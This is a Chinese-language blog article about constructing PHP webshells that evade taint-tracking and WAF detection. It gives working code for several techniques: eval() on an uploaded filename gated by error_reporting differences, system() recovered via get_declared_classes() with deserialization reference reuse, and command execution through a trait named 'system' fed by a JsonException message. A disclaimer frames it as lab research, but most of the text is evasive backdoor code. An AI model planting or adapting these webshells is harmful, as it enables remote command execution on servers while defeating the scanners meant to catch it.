尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

PHP 绕过污点追踪构造 Webshell:反序列化引用复用与 Trait 可变函数 RCE

PHP 绕过污点追踪构造 Webshell:反序列化引用复用与 Trait 可变函数 RCE 免责声明本文全部实验操作均在本人完全可控的自建本地靶场环境完成文章仅用于网络安全原理学习与技术研究。根据《中华人民共和国网络安全法》未经授权对任何第三方系统进行探测、命令执行、文件写入等操作属于违法行为。严禁复制、使用本文中的 Payload、代码应用到未获得授权的设备上。若读者将文中内容用于非法用途一切法律责任由行为人本人承担与本文作者无关。个人水平有限如有不足欢迎指正。————————————————摘要本文围绕 PHP 代码执行与污点追踪展开先分析parse_url()、error_reporting配置差异以及上传文件名注入如何被用于构造 Webshell再重点拆解两类绕过污点追踪的方式一是通过反序列化对象引用复用让污点赋值点与最终执行点分离二是通过 Trait 名称可变函数配合JsonException等异常类的消息中转实现命令执行。Array元素引用绕过污点追踪parse_url()PHP内置函数把一整条URL字符串拆成各个组成部分返回数组。$url http://test.com/usr/abc?a1b2#foot; $arr parse_url($url); print_r($arr);?php $b 111; $c 222; if(get_cfg_var(error_reporting)0){ $b#; } $a array( one$c,two$c ); $url http://a/usr/.$b.?a1; $d parse_url($url); if($d[query]){ $cecho 111;; }else{ $c$_FILES[useraccount][name]; } var_dump($a[two]); eval($a[two]); ?get_cfg_var(error_reporting)读取php.ini配置文件里error_reporting的配置值获取PHP错误报告级别数字。在一般的waf或者沙箱模式下大部分是关闭的所以最终waf检查的是打印111从而放行所以可能存在差异化让waf认为这个污点无害而服务器上却是打开的所以服务器端最终能执行到eval#在URL里叫片段标识符/锚点浏览器/ HTTP协议规则#以及#后面所有内容只给浏览器本地用不会发给服务器解析URL时# 后面全部不算查询参数。#后面那一大串又叫fragment 片段。实现$c$_FILES[useraccount][name];的值是什么?php // 这里是PHP后端逻辑放在最顶部 if($_SERVER[REQUEST_METHOD] POST){ echo pre; $c $_FILES[useraccount][name]; var_dump($c); echo /pre; } ? !DOCTYPE html html body !-- action 提交到当前自己这个php文件 -- form action methodpost enctypemultipart/form-data input typefile nameuseraccount button typesubmit提交上传/button /form /body /html是当前上传的文件名于是将filename字段的值改为其他可执行代码即可序列化 反序列化什么是序列化serialize ()序列化把 PHP 变量 / 对象转换成PHP自己定义的序列化格式字符串方便存储、传输。PHP中的数组、对象等数据结构在程序运行期间存在于内存中无法直接保存到数据库、文件或网络传输因此需要转换成可保存的数据格式serialize()将内存数据打包成文本字符串。?php $arr [nameadmin,age18]; $str serialize($arr); echo $str;输出a:2:{s:4:name;s:5:admin;s:3:age;i:18;}这里的a、s、i是PHP序列化格式中的类型标识符后面的数字表示对应数据的信息。a: array 数组2代表 2 个元素s: string 字符串4字符串长度i: int 数字标记就是用来记录这是什么类型、长度多少、有几个元素方便反序列化的时候还原。反序列化 unserialize ()反序列化把序列化后的字符串还原回内存中的 PHP 变量 / 对象。$str a:2:{s:4:name;s:5:admin;s:3:age;i:18;}; $arr unserialize($str); var_dump($arr);字符串变回数组回到内存。形象比喻序列化把家里家具内存对象拆成零件打好包装字符串方便快递运输存文件 / 数据库。包装上面写标签就是那些 a:2 s:4 序列号标记记录零件类型、大小。序列化类似于给家具制作一份结构说明书把家具的类型、组成信息记录下来转换成可以运输的数据格式。反序列化收到快递包裹字符串看着标签把零件重新组装回完整家具内存对象。为什么要有这些标记序列号如果没有标记只存裸字符串nameadminage18反序列化的时候程序分不清哪里是键、哪里是值、是数字还是字符串、数组有几个元素。示例s:4:names string类型4 字符串长度name 实际内容反序列化函数靠这些数字标记严格解析字符串还原内存结构。反序列化引用摆脱污点追踪unserialize(a:2:{i:0;O:8:stdClass:1:{s:1:a;i:1;}i:1;r:2;});a array 、 O object s string 、i integer 、 r 对象引用reuse object reference结果array(2) { [0] object(stdClass)#1 (1) { [a] int(1) } [1] object(stdClass)#1 (1) { [a] int(1) } }a:2:{...} —表示一个包含2个元素的数组。i:0;O:8:stdClass:1:{s:1:a;i:1;}数组第一个元素索引 0是一个stdClass对象。该对象有 1个属性属性名a属性值int(1)。i:1;r:2;数组第二个元素索引 1是r:2;。r 表示引用reference指向之前已经序列化的第2个变量从1开始计数。第 1个变量是数组本身第2个变量是索引0的那个stdClass对象。因此$array[1]是$array[0]的引用它们指向同一个对象实例。webshell?php $s unserialize(a:2:{i:0;O:8:stdClass:1:{s:1:a;i:1;}i:1;r:2;}); $c 123; $arr get_declared_classes(); $i0; for($i;$icount($arr);$i){ $i; $s[1]-a$_GET[a]; if($i97 || $i98){ continue; } $c$s[0]-a; print(substr(get_declared_classes()[112],4,6)($c)); } ?$s[1]-a$_GET[a];如果检测引擎检测不到类的引用那么只会追踪$s[1]-a通过反序列化将数组$s[0] $s[1]两个元素绑定在一起而执行使用的是$s[0]-a于是绕过检测引擎追踪构成差异化。get_declared_classes 返回由已定义类的名字所组成的数组?php echo pre; var_dump(get_declared_classes());$c$s[0]-a; 从数组 $s的第一个元素索引0所指向的对象中获取其属性a的值并赋值给变量$c。而substr(get_declared_classes()[112],4,6)截取的也就是system,后面跟着($c)利用Trait 名称字符串利用可变函数 RCE自定义trait将trait名称设置为危险函数名借助get_declared_traits()拿到trait名字符串利用PHP可变函数特性实现命令执行。trait system{}自定义trait名字叫system​?php trait system{ } $a new JsonException($_GET[a]); $c 123; $arr getmygid(); $i0; for($i;$i$arr;$i){ $i; if($i115 || $i116){ continue; } $c$a-getMessage(); print(get_declared_traits()[0]($c)); }new JsonException(...)new用于创建一个对象。JsonException是 PHP 内置的异常类。new JsonException($_GET[a])使用$_GET[a]作为参数创建一个JsonException对象。然后把创建出来的对象赋值给$a所以最终$a保存的是一个JsonException对象而不是$_GET[a]原始字符串。JsonException本身继承自Exception它的构造函数可以接收异常消息new JsonException(hello),相当于创建一个异常对象这个对象内部会保存message hello。因此$a new JsonException($_GET[a]);可以简单理解为从用户输入获取a的值并把这个值作为异常对象的message创建一个JsonException对象。$c $a-getMessage();调用$a对象的getMessage()方法获取这个异常对象中保存的 message错误消息然后赋值给$c。PHP全部预定义异常类Exception、ErrorException、AssertionError等均可实现该中转效果。构造函数第一个参数会保存到私有message通过getMessage()读取仅实例化不抛出异常程序可继续执行用来传递可控字符串。
返回列表